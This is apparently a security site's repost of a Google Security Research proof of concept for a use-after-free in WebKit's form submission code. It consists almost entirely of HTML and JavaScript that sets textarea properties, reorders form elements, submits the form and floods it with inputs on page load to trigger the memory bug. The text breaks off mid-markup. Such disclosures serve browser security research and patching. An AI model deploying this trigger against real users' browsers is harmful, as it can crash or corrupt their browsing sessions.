WebKit - 'WebCore::FormSubmission::create' Use-After-Free

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

WebKit - 'WebCore::FormSubmission::create' Use-After-Free

来源：Google Security Research 作者：Google 发布时间：2017-11-23

<script>
function jsfuzzer() {
textarea1.setRangeText("foo");
textarea2.autofocus = true;
textarea1.name = "foo";
form.insertBefore(textarea2, form.firstChild);
form.submit();
}
function eventhandler2() {
for(var i=0;i<100;i++) {
    var e = document.createElement("input");
    form.appendChild(e);
}
}
</script>
<body onload=jsfuzzer()>
<form id="form" onchange="eventhandler2()">
<textarea id="textarea1">a</textarea>
<object id="object"></object>
<textarea id="textarea2">b</textarea>

[